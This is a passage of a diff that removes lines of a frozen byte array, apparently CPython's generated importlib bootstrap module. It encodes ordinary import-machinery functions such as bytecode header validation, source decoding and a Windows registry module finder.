-    101,114,133,1,0,0,115,12,0,0,0,0,1,8,1,8,
-    1,10,1,4,1,20,1,122,40,95,99,104,101,99,107,95,
-    110,97,109,101,46,60,108,111,99,97,108,115,62,46,95,99,
-    104,101,99,107,95,110,97,109,101,95,119,114,97,112,112,101,
-    114,99,2,0,0,0,0,0,0,0,3,0,0,0,7,0,
-    0,0,83,0,0,0,115,60,0,0,0,120,40,100,5,68,
-    0,93,32,125,2,116,0,124,1,124,2,131,2,114,6,116,
-    1,124,0,124,2,116,2,124,1,124,2,131,2,131,3,1,
-    0,113,6,87,0,124,0,106,3,106,4,124,1,106,3,131,
-    1,1,0,100,0,83,0,41,6,78,218,10,95,95,109,111,
-    100,117,108,101,95,95,218,8,95,95,110,97,109,101,95,95,
-    218,12,95,95,113,117,97,108,110,97,109,101,95,95,218,7,
-    95,95,100,111,99,95,95,41,4,122,10,95,95,109,111,100,
-    117,108,101,95,95,122,8,95,95,110,97,109,101,95,95,122,
-    12,95,95,113,117,97,108,110,97,109,101,95,95,122,7,95,
-    95,100,111,99,95,95,41,5,218,7,104,97,115,97,116,116,
-    114,218,7,115,101,116,97,116,116,114,218,7,103,101,116,97,
-    116,116,114,218,8,95,95,100,105,99,116,95,95,218,6,117,
-    112,100,97,116,101,41,3,90,3,110,101,119,90,3,111,108,
-    100,114,55,0,0,0,114,4,0,0,0,114,4,0,0,0,
-    114,6,0,0,0,218,5,95,119,114,97,112,144,1,0,0,
-    115,8,0,0,0,0,1,10,1,10,1,22,1,122,26,95,
-    99,104,101,99,107,95,110,97,109,101,46,60,108,111,99,97,
-    108,115,62,46,95,119,114,97,112,41,1,78,41,3,218,10,
-    95,98,111,111,116,115,116,114,97,112,114,117,0,0,0,218,
-    9,78,97,109,101,69,114,114,111,114,41,3,114,106,0,0,
-    0,114,107,0,0,0,114,117,0,0,0,114,4,0,0,0,
-    41,1,114,106,0,0,0,114,6,0,0,0,218,11,95,99,
-    104,101,99,107,95,110,97,109,101,125,1,0,0,115,14,0,
-    0,0,0,8,14,7,2,1,10,1,14,2,14,5,10,1,
-    114,120,0,0,0,99,2,0,0,0,0,0,0,0,5,0,
-    0,0,4,0,0,0,67,0,0,0,115,60,0,0,0,124,
-    0,106,0,124,1,131,1,92,2,125,2,125,3,124,2,100,
-    1,107,8,114,56,116,1,124,3,131,1,114,56,100,2,125,
-    4,116,2,106,3,124,4,106,4,124,3,100,3,25,0,131,
-    1,116,5,131,2,1,0,124,2,83,0,41,4,122,155,84,
-    114,121,32,116,111,32,102,105,110,100,32,97,32,108,111,97,
-    100,101,114,32,102,111,114,32,116,104,101,32,115,112,101,99,
-    105,102,105,101,100,32,109,111,100,117,108,101,32,98,121,32,
-    100,101,108,101,103,97,116,105,110,103,32,116,111,10,32,32,
-    32,32,115,101,108,102,46,102,105,110,100,95,108,111,97,100,
-    101,114,40,41,46,10,10,32,32,32,32,84,104,105,115,32,
-    109,101,116,104,111,100,32,105,115,32,100,101,112,114,101,99,
-    97,116,101,100,32,105,110,32,102,97,118,111,114,32,111,102,
-    32,102,105,110,100,101,114,46,102,105,110,100,95,115,112,101,
-    99,40,41,46,10,10,32,32,32,32,78,122,44,78,111,116,
-    32,105,109,112,111,114,116,105,110,103,32,100,105,114,101,99,
-    116,111,114,121,32,123,125,58,32,109,105,115,115,105,110,103,
-    32,95,95,105,110,105,116,95,95,114,62,0,0,0,41,6,
-    218,11,102,105,110,100,95,108,111,97,100,101,114,114,33,0,
-    0,0,114,63,0,0,0,114,64,0,0,0,114,50,0,0,
-    0,218,13,73,109,112,111,114,116,87,97,114,110,105,110,103,
-    41,5,114,104,0,0,0,218,8,102,117,108,108,110,97,109,
-    101,218,6,108,111,97,100,101,114,218,8,112,111,114,116,105,
-    111,110,115,218,3,109,115,103,114,4,0,0,0,114,4,0,
-    0,0,114,6,0,0,0,218,17,95,102,105,110,100,95,109,
-    111,100,117,108,101,95,115,104,105,109,153,1,0,0,115,10,
-    0,0,0,0,10,14,1,16,1,4,1,22,1,114,127,0,
-    0,0,99,4,0,0,0,0,0,0,0,11,0,0,0,19,
-    0,0,0,67,0,0,0,115,128,1,0,0,105,0,125,4,
-    124,2,100,1,107,9,114,22,124,2,124,4,100,2,60,0,
-    110,4,100,3,125,2,124,3,100,1,107,9,114,42,124,3,
-    124,4,100,4,60,0,124,0,100,1,100,5,133,2,25,0,
-    125,5,124,0,100,5,100,6,133,2,25,0,125,6,124,0,
-    100,6,100,7,133,2,25,0,125,7,124,5,116,0,107,3,
-    114,122,100,8,106,1,124,2,124,5,131,2,125,8,116,2,
-    106,3,100,9,124,8,131,2,1,0,116,4,124,8,124,4,
-    141,1,130,1,110,86,116,5,124,6,131,1,100,5,107,3,
-    114,166,100,10,106,1,124,2,131,1,125,8,116,2,106,3,
-    100,9,124,8,131,2,1,0,116,6,124,8,131,1,130,1,
-    110,42,116,5,124,7,131,1,100,5,107,3,114,208,100,11,
-    106,1,124,2,131,1,125,8,116,2,106,3,100,9,124,8,
-    131,2,1,0,116,6,124,8,131,1,130,1,124,1,100,1,
-    107,9,144,1,114,116,121,16,116,7,124,1,100,12,25,0,
-    131,1,125,9,87,0,110,20,4,0,116,8,107,10,114,254,
-    1,0,1,0,1,0,89,0,110,48,88,0,116,9,124,6,
-    131,1,124,9,107,3,144,1,114,46,100,13,106,1,124,2,
-    131,1,125,8,116,2,106,3,100,9,124,8,131,2,1,0,
-    116,4,124,8,124,4,141,1,130,1,121,16,124,1,100,14,
-    25,0,100,15,64,0,125,10,87,0,110,22,4,0,116,8,
-    107,10,144,1,114,84,1,0,1,0,1,0,89,0,110,32,
-    88,0,116,9,124,7,131,1,124,10,107,3,144,1,114,116,
-    116,4,100,13,106,1,124,2,131,1,124,4,141,1,130,1,
-    124,0,100,7,100,1,133,2,25,0,83,0,41,16,97,122,
-    1,0,0,86,97,108,105,100,97,116,101,32,116,104,101,32,
-    104,101,97,100,101,114,32,111,102,32,116,104,101,32,112,97,
-    115,115,101,100,45,105,110,32,98,121,116,101,99,111,100,101,
-    32,97,103,97,105,110,115,116,32,115,111,117,114,99,101,95,
-    115,116,97,116,115,32,40,105,102,10,32,32,32,32,103,105,
-    118,101,110,41,32,97,110,100,32,114,101,116,117,114,110,105,
-    110,103,32,116,104,101,32,98,121,116,101,99,111,100,101,32,
-    116,104,97,116,32,99,97,110,32,98,101,32,99,111,109,112,
-    105,108,101,100,32,98,121,32,99,111,109,112,105,108,101,40,
-    41,46,10,10,32,32,32,32,65,108,108,32,111,116,104,101,
-    114,32,97,114,103,117,109,101,110,116,115,32,97,114,101,32,
-    117,115,101,100,32,116,111,32,101,110,104,97,110,99,101,32,
-    101,114,114,111,114,32,114,101,112,111,114,116,105,110,103,46,
-    10,10,32,32,32,32,73,109,112,111,114,116,69,114,114,111,
-    114,32,105,115,32,114,97,105,115,101,100,32,119,104,101,110,
-    32,116,104,101,32,109,97,103,105,99,32,110,117,109,98,101,
-    114,32,105,115,32,105,110,99,111,114,114,101,99,116,32,111,
-    114,32,116,104,101,32,98,121,116,101,99,111,100,101,32,105,
-    115,10,32,32,32,32,102,111,117,110,100,32,116,111,32,98,
-    101,32,115,116,97,108,101,46,32,69,79,70,69,114,114,111,
-    114,32,105,115,32,114,97,105,115,101,100,32,119,104,101,110,
-    32,116,104,101,32,100,97,116,97,32,105,115,32,102,111,117,
-    110,100,32,116,111,32,98,101,10,32,32,32,32,116,114,117,
-    110,99,97,116,101,100,46,10,10,32,32,32,32,78,114,102,
-    0,0,0,122,10,60,98,121,116,101,99,111,100,101,62,114,
-    37,0,0,0,114,14,0,0,0,233,8,0,0,0,233,12,
-    0,0,0,122,30,98,97,100,32,109,97,103,105,99,32,110,
-    117,109,98,101,114,32,105,110,32,123,33,114,125,58,32,123,
-    33,114,125,122,2,123,125,122,43,114,101,97,99,104,101,100,
-    32,69,79,70,32,119,104,105,108,101,32,114,101,97,100,105,
-    110,103,32,116,105,109,101,115,116,97,109,112,32,105,110,32,
-    123,33,114,125,122,48,114,101,97,99,104,101,100,32,69,79,
-    70,32,119,104,105,108,101,32,114,101,97,100,105,110,103,32,
-    115,105,122,101,32,111,102,32,115,111,117,114,99,101,32,105,
-    110,32,123,33,114,125,218,5,109,116,105,109,101,122,26,98,
-    121,116,101,99,111,100,101,32,105,115,32,115,116,97,108,101,
-    32,102,111,114,32,123,33,114,125,218,4,115,105,122,101,108,
-    3,0,0,0,255,127,255,127,3,0,41,10,218,12,77,65,
-    71,73,67,95,78,85,77,66,69,82,114,50,0,0,0,114,
-    118,0,0,0,218,16,95,118,101,114,98,111,115,101,95,109,
-    101,115,115,97,103,101,114,103,0,0,0,114,33,0,0,0,
-    218,8,69,79,70,69,114,114,111,114,114,16,0,0,0,218,
-    8,75,101,121,69,114,114,111,114,114,21,0,0,0,41,11,
-    114,56,0,0,0,218,12,115,111,117,114,99,101,95,115,116,
-    97,116,115,114,102,0,0,0,114,37,0,0,0,90,11,101,
-    120,99,95,100,101,116,97,105,108,115,90,5,109,97,103,105,
-    99,90,13,114,97,119,95,116,105,109,101,115,116,97,109,112,
-    90,8,114,97,119,95,115,105,122,101,114,79,0,0,0,218,
-    12,115,111,117,114,99,101,95,109,116,105,109,101,218,11,115,
-    111,117,114,99,101,95,115,105,122,101,114,4,0,0,0,114,
-    4,0,0,0,114,6,0,0,0,218,25,95,118,97,108,105,
-    100,97,116,101,95,98,121,116,101,99,111,100,101,95,104,101,
-    97,100,101,114,170,1,0,0,115,76,0,0,0,0,11,4,
-    1,8,1,10,3,4,1,8,1,8,1,12,1,12,1,12,
-    1,8,1,12,1,12,1,12,1,12,1,10,1,12,1,10,
-    1,12,1,10,1,12,1,8,1,10,1,2,1,16,1,14,
-    1,6,2,14,1,10,1,12,1,10,1,2,1,16,1,16,
-    1,6,2,14,1,10,1,6,1,114,139,0,0,0,99,4,
-    0,0,0,0,0,0,0,5,0,0,0,6,0,0,0,67,
-    0,0,0,115,86,0,0,0,116,0,106,1,124,0,131,1,
-    125,4,116,2,124,4,116,3,131,2,114,58,116,4,106,5,
-    100,1,124,2,131,2,1,0,124,3,100,2,107,9,114,52,
-    116,6,106,7,124,4,124,3,131,2,1,0,124,4,83,0,
-    110,24,116,8,100,3,106,9,124,2,131,1,100,4,124,1,
-    100,5,124,2,144,2,131,1,130,1,100,2,83,0,41,6,
-    122,60,67,111,109,112,105,108,101,32,98,121,116,101,99,111,
-    100,101,32,97,115,32,114,101,116,117,114,110,101,100,32,98,
-    121,32,95,118,97,108,105,100,97,116,101,95,98,121,116,101,
-    99,111,100,101,95,104,101,97,100,101,114,40,41,46,122,21,
-    99,111,100,101,32,111,98,106,101,99,116,32,102,114,111,109,
-    32,123,33,114,125,78,122,23,78,111,110,45,99,111,100,101,
-    32,111,98,106,101,99,116,32,105,110,32,123,33,114,125,114,
-    102,0,0,0,114,37,0,0,0,41,10,218,7,109,97,114,
-    115,104,97,108,90,5,108,111,97,100,115,218,10,105,115,105,
-    110,115,116,97,110,99,101,218,10,95,99,111,100,101,95,116,
-    121,112,101,114,118,0,0,0,114,133,0,0,0,218,4,95,
-    105,109,112,90,16,95,102,105,120,95,99,111,95,102,105,108,
-    101,110,97,109,101,114,103,0,0,0,114,50,0,0,0,41,
-    5,114,56,0,0,0,114,102,0,0,0,114,93,0,0,0,
-    114,94,0,0,0,218,4,99,111,100,101,114,4,0,0,0,
-    114,4,0,0,0,114,6,0,0,0,218,17,95,99,111,109,
-    112,105,108,101,95,98,121,116,101,99,111,100,101,225,1,0,
-    0,115,16,0,0,0,0,2,10,1,10,1,12,1,8,1,
-    12,1,6,2,12,1,114,145,0,0,0,114,62,0,0,0,
-    99,3,0,0,0,0,0,0,0,4,0,0,0,3,0,0,
-    0,67,0,0,0,115,56,0,0,0,116,0,116,1,131,1,
-    125,3,124,3,106,2,116,3,124,1,131,1,131,1,1,0,
-    124,3,106,2,116,3,124,2,131,1,131,1,1,0,124,3,
-    106,2,116,4,106,5,124,0,131,1,131,1,1,0,124,3,
-    83,0,41,1,122,80,67,111,109,112,105,108,101,32,97,32,
-    99,111,100,101,32,111,98,106,101,99,116,32,105,110,116,111,
-    32,98,121,116,101,99,111,100,101,32,102,111,114,32,119,114,
-    105,116,105,110,103,32,111,117,116,32,116,111,32,97,32,98,
-    121,116,101,45,99,111,109,112,105,108,101,100,10,32,32,32,
-    32,102,105,108,101,46,41,6,218,9,98,121,116,101,97,114,
-    114,97,121,114,132,0,0,0,218,6,101,120,116,101,110,100,
-    114,19,0,0,0,114,140,0,0,0,90,5,100,117,109,112,
-    115,41,4,114,144,0,0,0,114,130,0,0,0,114,138,0,
-    0,0,114,56,0,0,0,114,4,0,0,0,114,4,0,0,
-    0,114,6,0,0,0,218,17,95,99,111,100,101,95,116,111,
-    95,98,121,116,101,99,111,100,101,237,1,0,0,115,10,0,
-    0,0,0,3,8,1,14,1,14,1,16,1,114,148,0,0,
-    0,99,1,0,0,0,0,0,0,0,5,0,0,0,4,0,
-    0,0,67,0,0,0,115,62,0,0,0,100,1,100,2,108,
-    0,125,1,116,1,106,2,124,0,131,1,106,3,125,2,124,
-    1,106,4,124,2,131,1,125,3,116,1,106,5,100,2,100,
-    3,131,2,125,4,124,4,106,6,124,0,106,6,124,3,100,
-    1,25,0,131,1,131,1,83,0,41,4,122,121,68,101,99,
-    111,100,101,32,98,121,116,101,115,32,114,101,112,114,101,115,
-    101,110,116,105,110,103,32,115,111,117,114,99,101,32,99,111,
-    100,101,32,97,110,100,32,114,101,116,117,114,110,32,116,104,
-    101,32,115,116,114,105,110,103,46,10,10,32,32,32,32,85,
-    110,105,118,101,114,115,97,108,32,110,101,119,108,105,110,101,
-    32,115,117,112,112,111,114,116,32,105,115,32,117,115,101,100,
-    32,105,110,32,116,104,101,32,100,101,99,111,100,105,110,103,
-    46,10,32,32,32,32,114,62,0,0,0,78,84,41,7,218,
-    8,116,111,107,101,110,105,122,101,114,52,0,0,0,90,7,
-    66,121,116,101,115,73,79,90,8,114,101,97,100,108,105,110,
-    101,90,15,100,101,116,101,99,116,95,101,110,99,111,100,105,
-    110,103,90,25,73,110,99,114,101,109,101,110,116,97,108,78,
-    101,119,108,105,110,101,68,101,99,111,100,101,114,218,6,100,
-    101,99,111,100,101,41,5,218,12,115,111,117,114,99,101,95,
-    98,121,116,101,115,114,149,0,0,0,90,21,115,111,117,114,
-    99,101,95,98,121,116,101,115,95,114,101,97,100,108,105,110,
-    101,218,8,101,110,99,111,100,105,110,103,90,15,110,101,119,
-    108,105,110,101,95,100,101,99,111,100,101,114,114,4,0,0,
-    0,114,4,0,0,0,114,6,0,0,0,218,13,100,101,99,
-    111,100,101,95,115,111,117,114,99,101,247,1,0,0,115,10,
-    0,0,0,0,5,8,1,12,1,10,1,12,1,114,153,0,
-    0,0,41,2,114,124,0,0,0,218,26,115,117,98,109,111,
-    100,117,108,101,95,115,101,97,114,99,104,95,108,111,99,97,
-    116,105,111,110,115,99,2,0,0,0,2,0,0,0,9,0,
-    0,0,19,0,0,0,67,0,0,0,115,20,1,0,0,124,
-    1,100,1,107,8,114,60,100,2,125,1,116,0,124,2,100,
-    3,131,2,114,70,121,14,124,2,106,1,124,0,131,1,125,
-    1,87,0,113,70,4,0,116,2,107,10,114,56,1,0,1,
-    0,1,0,89,0,113,70,88,0,110,10,116,3,106,4,124,
-    1,131,1,125,1,116,5,106,6,124,0,124,2,100,4,124,
-    1,144,1,131,2,125,4,100,5,124,4,95,7,124,2,100,
-    1,107,8,114,158,120,54,116,8,131,0,68,0,93,40,92,
-    2,125,5,125,6,124,1,106,9,116,10,124,6,131,1,131,
-    1,114,110,124,5,124,0,124,1,131,2,125,2,124,2,124,
-    4,95,11,80,0,113,110,87,0,100,1,83,0,124,3,116,
-    12,107,8,114,224,116,0,124,2,100,6,131,2,114,230,121,
-    14,124,2,106,13,124,0,131,1,125,7,87,0,110,20,4,
-    0,116,2,107,10,114,210,1,0,1,0,1,0,89,0,113,
-    230,88,0,124,7,114,230,103,0,124,4,95,14,110,6,124,
-    3,124,4,95,14,124,4,106,14,103,0,107,2,144,1,114,
-    16,124,1,144,1,114,16,116,15,124,1,131,1,100,7,25,
-    0,125,8,124,4,106,14,106,16,124,8,131,1,1,0,124,
-    4,83,0,41,8,97,61,1,0,0,82,101,116,117,114,110,
-    32,97,32,109,111,100,117,108,101,32,115,112,101,99,32,98,
-    97,115,101,100,32,111,110,32,97,32,102,105,108,101,32,108,
-    111,99,97,116,105,111,110,46,10,10,32,32,32,32,84,111,
-    32,105,110,100,105,99,97,116,101,32,116,104,97,116,32,116,
-    104,101,32,109,111,100,117,108,101,32,105,115,32,97,32,112,
-    97,99,107,97,103,101,44,32,115,101,116,10,32,32,32,32,
-    115,117,98,109,111,100,117,108,101,95,115,101,97,114,99,104,
-    95,108,111,99,97,116,105,111,110,115,32,116,111,32,97,32,
-    108,105,115,116,32,111,102,32,100,105,114,101,99,116,111,114,
-    121,32,112,97,116,104,115,46,32,32,65,110,10,32,32,32,
-    32,101,109,112,116,121,32,108,105,115,116,32,105,115,32,115,
-    117,102,102,105,99,105,101,110,116,44,32,116,104,111,117,103,
-    104,32,105,116,115,32,110,111,116,32,111,116,104,101,114,119,
-    105,115,101,32,117,115,101,102,117,108,32,116,111,32,116,104,
-    101,10,32,32,32,32,105,109,112,111,114,116,32,115,121,115,
-    116,101,109,46,10,10,32,32,32,32,84,104,101,32,108,111,
-    97,100,101,114,32,109,117,115,116,32,116,97,107,101,32,97,
-    32,115,112,101,99,32,97,115,32,105,116,115,32,111,110,108,
-    121,32,95,95,105,110,105,116,95,95,40,41,32,97,114,103,
-    46,10,10,32,32,32,32,78,122,9,60,117,110,107,110,111,
-    119,110,62,218,12,103,101,116,95,102,105,108,101,110,97,109,
-    101,218,6,111,114,105,103,105,110,84,218,10,105,115,95,112,
-    97,99,107,97,103,101,114,62,0,0,0,41,17,114,112,0,
-    0,0,114,155,0,0,0,114,103,0,0,0,114,3,0,0,
-    0,114,67,0,0,0,114,118,0,0,0,218,10,77,111,100,
-    117,108,101,83,112,101,99,90,13,95,115,101,116,95,102,105,
-    108,101,97,116,116,114,218,27,95,103,101,116,95,115,117,112,
-    112,111,114,116,101,100,95,102,105,108,101,95,108,111,97,100,
-    101,114,115,114,96,0,0,0,114,97,0,0,0,114,124,0,
-    0,0,218,9,95,80,79,80,85,76,65,84,69,114,157,0,
-    0,0,114,154,0,0,0,114,40,0,0,0,218,6,97,112,
-    112,101,110,100,41,9,114,102,0,0,0,90,8,108,111,99,
-    97,116,105,111,110,114,124,0,0,0,114,154,0,0,0,218,
-    4,115,112,101,99,218,12,108,111,97,100,101,114,95,99,108,
-    97,115,115,218,8,115,117,102,102,105,120,101,115,114,157,0,
-    0,0,90,7,100,105,114,110,97,109,101,114,4,0,0,0,
-    114,4,0,0,0,114,6,0,0,0,218,23,115,112,101,99,
-    95,102,114,111,109,95,102,105,108,101,95,108,111,99,97,116,
-    105,111,110,8,2,0,0,115,62,0,0,0,0,12,8,4,
-    4,1,10,2,2,1,14,1,14,1,8,2,10,8,18,1,
-    6,3,8,1,16,1,14,1,10,1,6,1,6,2,4,3,
-    8,2,10,1,2,1,14,1,14,1,6,2,4,1,8,2,
-    6,1,12,1,6,1,12,1,12,2,114,165,0,0,0,99,
-    0,0,0,0,0,0,0,0,0,0,0,0,4,0,0,0,
-    64,0,0,0,115,80,0,0,0,101,0,90,1,100,0,90,
-    2,100,1,90,3,100,2,90,4,100,3,90,5,100,4,90,
-    6,101,7,100,5,100,6,132,0,131,1,90,8,101,7,100,
-    7,100,8,132,0,131,1,90,9,101,7,100,14,100,10,100,
-    11,132,1,131,1,90,10,101,7,100,15,100,12,100,13,132,
-    1,131,1,90,11,100,9,83,0,41,16,218,21,87,105,110,
-    100,111,119,115,82,101,103,105,115,116,114,121,70,105,110,100,
-    101,114,122,62,77,101,116,97,32,112,97,116,104,32,102,105,
-    110,100,101,114,32,102,111,114,32,109,111,100,117,108,101,115,
-    32,100,101,99,108,97,114,101,100,32,105,110,32,116,104,101,
-    32,87,105,110,100,111,119,115,32,114,101,103,105,115,116,114,
-    121,46,122,59,83,111,102,116,119,97,114,101,92,80,121,116,
-    104,111,110,92,80,121,116,104,111,110,67,111,114,101,92,123,
-    115,121,115,95,118,101,114,115,105,111,110,125,92,77,111,100,
-    117,108,101,115,92,123,102,117,108,108,110,97,109,101,125,122,
-    65,83,111,102,116,119,97,114,101,92,80,121,116,104,111,110,
-    92,80,121,116,104,111,110,67,111,114,101,92,123,115,121,115,
-    95,118,101,114,115,105,111,110,125,92,77,111,100,117,108,101,
-    115,92,123,102,117,108,108,110,97,109,101,125,92,68,101,98,
-    117,103,70,99,2,0,0,0,0,0,0,0,2,0,0,0,
-    11,0,0,0,67,0,0,0,115,50,0,0,0,121,14,116,
-    0,106,1,116,0,106,2,124,1,131,2,83,0,4,0,116,
-    3,107,10,114,44,1,0,1,0,1,0,116,0,106,1,116,
-    0,106,4,124,1,131,2,83,0,88,0,100,0,83,0,41,
-    1,78,41,5,218,7,95,119,105,110,114,101,103,90,7,79,
-    112,101,110,75,101,121,90,17,72,75,69,89,95,67,85,82,
-    82,69,78,84,95,85,83,69,82,114,42,0,0,0,90,18,
-    72,75,69,89,95,76,79,67,65,76,95,77,65,67,72,73,
-    78,69,41,2,218,3,99,108,115,114,5,0,0,0,114,4,
-    0,0,0,114,4,0,0,0,114,6,0,0,0,218,14,95,
-    111,112,101,110,95,114,101,103,105,115,116,114,121,88,2,0,
-    0,115,8,0,0,0,0,2,2,1,14,1,14,1,122,36,
-    87,105,110,100,111,119,115,82,101,103,105,115,116,114,121,70,
-    105,110,100,101,114,46,95,111,112,101,110,95,114,101,103,105,
-    115,116,114,121,99,2,0,0,0,0,0,0,0,6,0,0,
-    0,16,0,0,0,67,0,0,0,115,116,0,0,0,124,0,
-    106,0,114,14,124,0,106,1,125,2,110,6,124,0,106,2,
-    125,2,124,2,106,3,100,1,124,1,100,2,100,3,116,4,
-    106,5,100,0,100,4,133,2,25,0,22,0,144,2,131,0,
-    125,3,121,38,124,0,106,6,124,3,131,1,143,18,125,4,
-    116,7,106,8,124,4,100,5,131,2,125,5,87,0,100,0,
-    81,0,82,0,88,0,87,0,110,20,4,0,116,9,107,10,
-    114,110,1,0,1,0,1,0,100,0,83,0,88,0,124,5,
-    83,0,41,6,78,114,123,0,0,0,90,11,115,121,115,95,
-    118,101,114,115,105,111,110,122,5,37,100,46,37,100,114,59,
-    0,0,0,114,32,0,0,0,41,10,218,11,68,69,66,85,
-    71,95,66,85,73,76,68,218,18,82,69,71,73,83,84,82,
-    89,95,75,69,89,95,68,69,66,85,71,218,12,82,69,71,
-    73,83,84,82,89,95,75,69,89,114,50,0,0,0,114,8,
-    0,0,0,218,12,118,101,114,115,105,111,110,95,105,110,102,
-    111,114,169,0,0,0,114,167,0,0,0,90,10,81,117,101,
-    114,121,86,97,108,117,101,114,42,0,0,0,41,6,114,168,
-    0,0,0,114,123,0,0,0,90,12,114,101,103,105,115,116,
-    114,121,95,107,101,121,114,5,0,0,0,90,4,104,107,101,
-    121,218,8,102,105,108,101,112,97,116,104,114,4,0,0,0,
-    114,4,0,0,0,114,6,0,0,0,218,16,95,115,101,97,
-    114,99,104,95,114,101,103,105,115,116,114,121,95,2,0,0,
-    115,22,0,0,0,0,2,6,1,8,2,6,1,10,1,22,
-    1,2,1,12,1,26,1,14,1,6,1,122,38,87,105,110,
-    100,111,119,115,82,101,103,105,115,116,114,121,70,105,110,100,
-    101,114,46,95,115,101,97,114,99,104,95,114,101,103,105,115,
-    116,114,121,78,99,4,0,0,0,0,0,0,0,8,0,0,
-    0,14,0,0,0,67,0,0,0,115,122,0,0,0,124,0,
-    106,0,124,1,131,1,125,4,124,4,100,0,107,8,114,22,
-    100,0,83,0,121,12,116,1,124,4,131,1,1,0,87,0,
-    110,20,4,0,116,2,107,10,114,54,1,0,1,0,1,0,
-    100,0,83,0,88,0,120,60,116,3,131,0,68,0,93,50,
-    92,2,125,5,125,6,124,4,106,4,116,5,124,6,131,1,
-    131,1,114,64,116,6,106,7,124,1,124,5,124,1,124,4,
-    131,2,100,1,124,4,144,1,131,2,125,7,124,7,83,0,
-    113,64,87,0,100,0,83,0,41,2,78,114,156,0,0,0,
-    41,8,114,175,0,0,0,114,41,0,0,0,114,42,0,0,
-    0,114,159,0,0,0,114,96,0,0,0,114,97,0,0,0,
-    114,118,0,0,0,218,16,115,112,101,99,95,102,114,111,109,
-    95,108,111,97,100,101,114,41,8,114,168,0,0,0,114,123,
-    0,0,0,114,37,0,0,0,218,6,116,97,114,103,101,116,
-    114,174,0,0,0,114,124,0,0,0,114,164,0,0,0,114,
-    162,0,0,0,114,4,0,0,0,114,4,0,0,0,114,6,
-    0,0,0,218,9,102,105,110,100,95,115,112,101,99,110,2,
-    0,0,115,26,0,0,0,0,2,10,1,8,1,4,1,2,
-    1,12,1,14,1,6,1,16,1,14,1,6,1,10,1,8,
-    1,122,31,87,105,110,100,111,119,115,82,101,103,105,115,116,
-    114,121,70,105,110,100,101,114,46,102,105,110,100,95,115,112,
-    101,99,99,3,0,0,0,0,0,0,0,4,0,0,0,3,
-    0,0,0,67,0,0,0,115,36,0,0,0,124,0,106,0,
-    124,1,124,2,131,2,125,3,124,3,100,1,107,9,114,28,
-    124,3,106,1,83,0,110,4,100,1,83,0,100,1,83,0,
-    41,2,122,108,70,105,110,100,32,109,111,100,117,108,101,32,
-    110,97,109,101,100,32,105,110,32,116,104,101,32,114,101,103,
-    105,115,116,114,121,46,10,10,32,32,32,32,32,32,32,32,
-    84,104,105,115,32,109,101,116,104,111,100,32,105,115,32,100,
-    101,112,114,101,99,97,116,101,100,46,32,32,85,115,101,32,
-    101,120,101,99,95,109,111,100,117,108,101,40,41,32,105,110,
-    115,116,101,97,100,46,10,10,32,32,32,32,32,32,32,32,
-    78,41,2,114,178,0,0,0,114,124,0,0,0,41,4,114,
-    168,0,0,0,114,123,0,0,0,114,37,0,0,0,114,162,
-    0,0,0,114,4,0,0,0,114,4,0,0,0,114,6,0,
-    0,0,218,11,102,105,110,100,95,109,111,100,117,108,101,126,
-    2,0,0,115,8,0,0,0,0,7,12,1,8,1,8,2,
-    122,33,87,105,110,100,111,119,115,82,101,103,105,115,116,114,
-    121,70,105,110,100,101,114,46,102,105,110,100,95,109,111,100,
-    117,108,101,41,2,78,78,41,1,78,41,12,114,109,0,0,
-    0,114,108,0,0,0,114,110,0,0,0,114,111,0,0,0,
-    114,172,0,0,0,114,171,0,0,0,114,170,0,0,0,218,
-    11,99,108,97,115,115,109,101,116,104,111,100,114,169,0,0,
-    0,114,175,0,0,0,114,178,0,0,0,114,179,0,0,0,
-    114,4,0,0,0,114,4,0,0,0,114,4,0,0,0,114,
-    6,0,0,0,114,166,0,0,0,76,2,0,0,115,20,0,
-    0,0,8,2,4,3,4,3,4,2,4,2,12,7,12,15,
-    2,1,12,15,2,1,114,166,0,0,0,99,0,0,0,0,
-    0,0,0,0,0,0,0,0,2,0,0,0,64,0,0,0,
-    115,48,0,0,0,101,0,90,1,100,0,90,2,100,1,90,
-    3,100,2,100,3,132,0,90,4,100,4,100,5,132,0,90,
-    5,100,6,100,7,132,0,90,6,100,8,100,9,132,0,90,
-    7,100,10,83,0,41,11,218,13,95,76,111,97,100,101,114,
-    66,97,115,105,99,115,122,83,66,97,115,101,32,99,108,97,
-    115,115,32,111,102,32,99,111,109,109,111,110,32,99,111,100,
-    101,32,110,101,101,100,101,100,32,98,121,32,98,111,116,104,
-    32,83,111,117,114,99,101,76,111,97,100,101,114,32,97,110,
-    100,10,32,32,32,32,83,111,117,114,99,101,108,101,115,115,
-    70,105,108,101,76,111,97,100,101,114,46,99,2,0,0,0,
-    0,0,0,0,5,0,0,0,3,0,0,0,67,0,0,0,
-    115,64,0,0,0,116,0,124,0,106,1,124,1,131,1,131,
-    1,100,1,25,0,125,2,124,2,106,2,100,2,100,1,131,
-    2,100,3,25,0,125,3,124,1,106,3,100,2,131,1,100,
-    4,25,0,125,4,124,3,100,5,107,2,111,62,124,4,100,
-    5,107,3,83,0,41,6,122,141,67,111,110,99,114,101,116,
-    101,32,105,109,112,108,101,109,101,110,116,97,116,105,111,110,
-    32,111,102,32,73,110,115,112,101,99,116,76,111,97,100,101,
-    114,46,105,115,95,112,97,99,107,97,103,101,32,98,121,32,
-    99,104,101,99,107,105,110,103,32,105,102,10,32,32,32,32,
-    32,32,32,32,116,104,101,32,112,97,116,104,32,114,101,116,
-    117,114,110,101,100,32,98,121,32,103,101,116,95,102,105,108,
-    101,110,97,109,101,32,104,97,115,32,97,32,102,105,108,101,
-    110,97,109,101,32,111,102,32,39,95,95,105,110,105,116,95,
-    95,46,112,121,39,46,114,31,0,0,0,114,61,0,0,0,
-    114,62,0,0,0,114,59,0,0,0,218,8,95,95,105,110,
-    105,116,95,95,41,4,114,40,0,0,0,114,155,0,0,0,
-    114,36,0,0,0,114,34,0,0,0,41,5,114,104,0,0,
-    0,114,123,0,0,0,114,98,0,0,0,90,13,102,105,108,
-    101,110,97,109,101,95,98,97,115,101,90,9,116,97,105,108,
-    95,110,97,109,101,114,4,0,0,0,114,4,0,0,0,114,
-    6,0,0,0,114,157,0,0,0,145,2,0,0,115,8,0,
-    0,0,0,3,18,1,16,1,14,1,122,24,95,76,111,97,
-    100,101,114,66,97,115,105,99,115,46,105,115,95,112,97,99,
-    107,97,103,101,99,2,0,0,0,0,0,0,0,2,0,0,
-    0,1,0,0,0,67,0,0,0,115,4,0,0,0,100,1,
-    83,0,41,2,122,42,85,115,101,32,100,101,102,97,117,108,
-    116,32,115,101,109,97,110,116,105,99,115,32,102,111,114,32,
